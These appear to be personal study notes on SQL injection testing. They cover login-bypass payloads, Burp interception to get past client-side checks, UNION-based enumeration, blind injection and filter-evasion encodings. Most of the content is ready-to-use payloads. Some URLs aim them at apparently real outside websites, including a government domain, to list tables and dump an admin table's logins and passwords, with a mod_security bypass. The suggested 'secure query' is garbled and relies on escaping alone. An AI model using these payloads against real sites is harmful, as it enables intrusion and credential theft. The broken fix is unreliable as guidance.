Sql injection:

Login to the database :

mysql –u root –h 10.20.14.204

display the database:

show databases;

use database\_name; used to read the info of the database.

Show tables ; displays the tables available in the database

Select \* from table\_name;

Why they are dangerous?

They are available everywhere

Give access to the sensitive data

Can read the local files outside the www root.

Can log in as the admin

Can upload php shell files

**Testing the sql injections:**

Steps:

* Try to break the page and get some errors
* Using the ‘and’ , ‘order by ‘ or “ ’ ”.
* Test text boxes and url parameters on the form

**sql injection to login to the application**

**Low secured: for the post method**

Test scenario 1: trying to login to the application without knowing the password, username is given

* Go to the login page
* Give the username and enter the correct password along with the true and condition

Username: triveni

Password: triveni ‘ and 1=1 #’

* Verify if the user is able to login to the application if logged successfully, it is vulnerable
* So now give the correct user name and correct password and false and condition

So username : Triveni

Password: triveni ‘ and 1=2 #’

* Verify if the error message is displayed which if shows any errors related to database
* So if the errors are displayed it means the application is executing the given sql queries
* Now bypassing the log where username is known and the password is unknown
* Enter the correct username and password as random value with the true or condition

Username: triveni

Password: 1245’ or 1=1#’

* If the user is able to login the application is vulnerable.

**Method 2:**

* Enter only username and comment all the remaining query

Username: triveni’# and password as random value

* If the user is able to login the application is vulnerable

Test scenario 2: trying to login to the application without knowing the password, username

* Enter the username and password as the random values with the true or condition

Username: t455’ or 1=1’

Password: 4545’ or 1=1’#

**Medium secured: for the post method**

Test scenario 1: trying to login to the application without knowing the password, username is known

**Method 1:**

* Enter only username and comment all the remaining query

Username: triveni’# and password as random value

* The user should not be able to login and error should be displayed illegal characters detected
* Here the validation can be at the client side or the server side.
* If the validation is at the client side, use the burp to bypass

Method 2:

* Set the burp configured for the application
* Keep the intercept on and send the request
* If the error displayed before going to burp proxy then the validation is at the client side
* So now enter the random username and password and click on the login
* Now before forwarding the request in the burp , modify the username and password parameters as below and send the requet
* Username: triveni
* Password: triveni ‘ and 1=1 #’
* Now the user will be able to login

**High secured: for the post method**

Test scenario 1: trying to login to the application without knowing the password, username is known

Method 1:

* When the username and password are modified using the burp and forwarded, if the user still gets the bad username error the application is secure

How to secure the application:

In the sql query, add the validation for the illegal characters

Vulnerable query:

Select \* from ACCOUNTS where username = ‘ ‘ and password = ‘ ‘ ;

Secure query:

Select \* from ACCOUNTS where username = ‘ “. $conn‘🡪 real\_escape\_string($username) and password = ‘“. $conn‘🡪 real\_escape\_string ($password) ;

**sql injection to retrieve the data**

**Sql injection for the get method:**

Test scenario: user is able to get the data by modifying the parameters in the url of the web application

Steps:

* Go to the website and click on the tab such that the url shows some parameters like news.php?id =2
* Or go to the site and login with the username and password
* Verify if the user given username and password are displayed in the url
* Now for the url add “ ‘ “ and submit
* If any error related to the sql is displayed, the site is vulnerable
* Now add the comment after “ ‘ “ so in the url after id = 2 add “ ‘--+ “ and submit
* enter ' in the url id end
* example:
* http://www.multan.gov.pk/files.php?id=1'
* <http://www.multan.gov.pk/files.php?id=1-->+
* if error is resolved proceed with quotes
* Now get the information from information scheme in mysql
* http://www.multan.gov.pk/files.php?id=1 order by 100--+
* bypassing the mod\_security firewall
* http://www.multan.gov.pk/files.php?id=1<!50000uNiON> SelECT 1,2--+
* http://tncgroup.pk/content.php?Id=-2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13
* http://tncgroup.pk/content.php?Id=-2%20union%20select%201,user(),3,4,5,6,7,8,9,10,11,12,13--+
* http://tncgroup.pk/content.php?Id=-2%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13--+
* http://tncgroup.pk/content.php?Id=-2%20union%20select%201,group\_concat(table\_name),3,4,5,6,7,8,9,10,11,12,13%20from%20information\_schema.tables%20where%20table\_schema=database()--+
* http://tncgroup.pk/content.php?Id=-2%20union%20select%201,group\_concat(column\_name),3,4,5,6,7,8,9,10,11,12,13%20from%20information\_schema.columns%20where%20table\_name='tbl\_admin'--+
* http://tncgroup.pk/content.php?Id=-2%20union%20select%201,group\_concat(PNAME,PLOGIN,PPASS),3,4,5,6,7,8,9,10,11,12,13%20from%20tbl\_admin--+
* http://tncgroup.pk/content.php?Id=-2%20union%20select%201,group\_concat(PNAME,0x28,PLOGIN,0x28,PPASS),3,4,5,6,7,8,9,10,11,12,13%20from%20tbl\_admin--+

Udemy:

* go to the application url which has parameter=value
* Now after username=xxx enter order by and comment out the remaining part of the url
* So url will have value as username=xxx’ order by 1#&password=12345…..
* So now the application should display the data without any error then the sql injection works
* Now set the order by value as large value so that the error is displayed
* url= username=xxx’ order by 10000#&password=12345…..
* error of sql is expected.
* To know how many columns are there in a table
* Give the trial and error method for order by value till no error is displayed
* After knowing the number of columns in the table ,To get the data from tables use the union in the url
* In the url add union select 1,2,3,… no of columns
* To know the database details use Union select 1,database(), user(),version(),5
* This will display the database name , user name and version of sql database
* To find the tables in the database owasp10 use union select 1, table\_name, null,null,5 from information\_schema.tables where table\_schema = ‘owasp10’
* To find the columns use select 1, column\_name, null, null,5 from information\_schema.columns where table\_name = ‘xxx’
* To get the data of the columns use select 1, column1, column2, column3,5 from table\_name

**Blind SQL injection:**

Don’t insert single quote ‘ in the input directly use the true and false conditions to find out if the page is vulnerable.

So in the page give the input as valid input+ true condition

Test: In the pr0300 screen try to find the record

Input: PRHOS1’ AND 1=1--+

Invalid inout:

PRHOS1’ AND 1=0--+

PRHOS1’ ORDER BY 1

PRHOS1’ ORDER BY 10000

PRHOS1’ UNION SELECT TABLE\_NAME, 2 FROM INFORMATION\_SCHEMA.TABLES

String prov\_nbr =getProviderName();

Where Clause(provider\_nbr = prov\_nbr);

When the security is high try by removing the single quote PRHOS1 AND 1=0--+

When the web site is not allowing the ‘ quote use the burp to convert the text example ‘OWASP’ – OWASP to encoded HEX.

In the burp suite go to decoder, then enter OWASP and in the encode as select hex and get the hex value. Also add **0x** before the value given

Sql tips:

Use the And, anD (combining capital and small letters) to get the sql injection work

Also if the spaces are blocked by url use +, /\*\*/ instead of spaces

Comment using # , %23, /\*,--, ; --, ; //, ; /\*

|  |  |
| --- | --- |
| #$ are not used to comment out in oracle db |  |
| ' == %27 |  |
| Spaces == %20 |  |
| = == %3D |  |
| / ==%2F |  |
| \* = = %2A |  |
| -== %2D |  |
|  |  |
| Amisys query = select \* from code\_detail where code\_nbr = ' user input' |  |